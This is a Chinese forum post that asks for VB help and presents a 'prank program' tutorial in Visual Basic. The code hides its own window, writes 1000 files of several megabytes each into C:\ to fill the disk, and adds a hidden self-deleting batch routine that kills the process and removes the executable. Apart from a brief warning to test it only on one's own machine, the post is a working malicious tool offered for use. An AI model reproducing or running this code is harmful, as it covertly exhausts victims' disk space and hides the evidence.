求人写个VB的东西~！！！！！定重谢~！

【VB教程】一个恶搞小程序 此实例为一个恶搞程序，自己测试即可，切莫传给别人
效果：打开程序后，自动在C盘目录下生成1000个文件，每个文件大小6.1M
程序执行后，窗口为隐藏状态（在任务管理器中可以查看到进程）
当然文件大小和数量可以自行修改，设置过多过大的话，C盘会被立马挤爆。
新建一个Form 在form1中写入如下代码
'————————————————代码开始——————————————————— Private Sub Form_Load()
Form1.Visible = False '设置窗口为隐藏
On Error Resume Next
For i = 1 To 1000 '生成文件个数 Open "c:\\leowalk.cn" + CStr(i) + ".sys" For Random As 1
'生成文件名，以及生成在哪个目录
DoEvents Put #1, 50000, "leowalk.cn" '生成文件的单个大小体积 Close #1
Next End Sub
'————————————————代码结束———————————————————
还可以再添加如下代码：运行后自行删除程序 '————————————————代码开始——————————————————— Sub EndWithDelete(ProPath As String, ProName As String)
Open Environ$("temp") & "\Deld.bat" For Output As #1
Print #1, "@echo off"
Print #1, ":dd"
Print #1, "taskkill /im "; Chr(34); ProName; Chr(34); " /f"
Print #1, "del /f /q "; Chr(34); ProPath; "\"; ProName; Chr(34)
Print #1, "del /f /q "; Chr(34); Environ$("temp"); "\Deld.bat"; Chr(34)
Print #1, "if exist "; Chr(34); ProPath; "\"; ProName; Chr(34); "goto dd"
Print #1, "exit"
Close #1
Shell Environ$("temp") & "\Deld.bat", vbHide
End Sub Private Sub Form_Load()
EndWithDelete App.Path, App.EXEName & ".exe"
End Sub
'————————————————代码开始———————————————————
写好了加我好友QQ1185884004 定重谢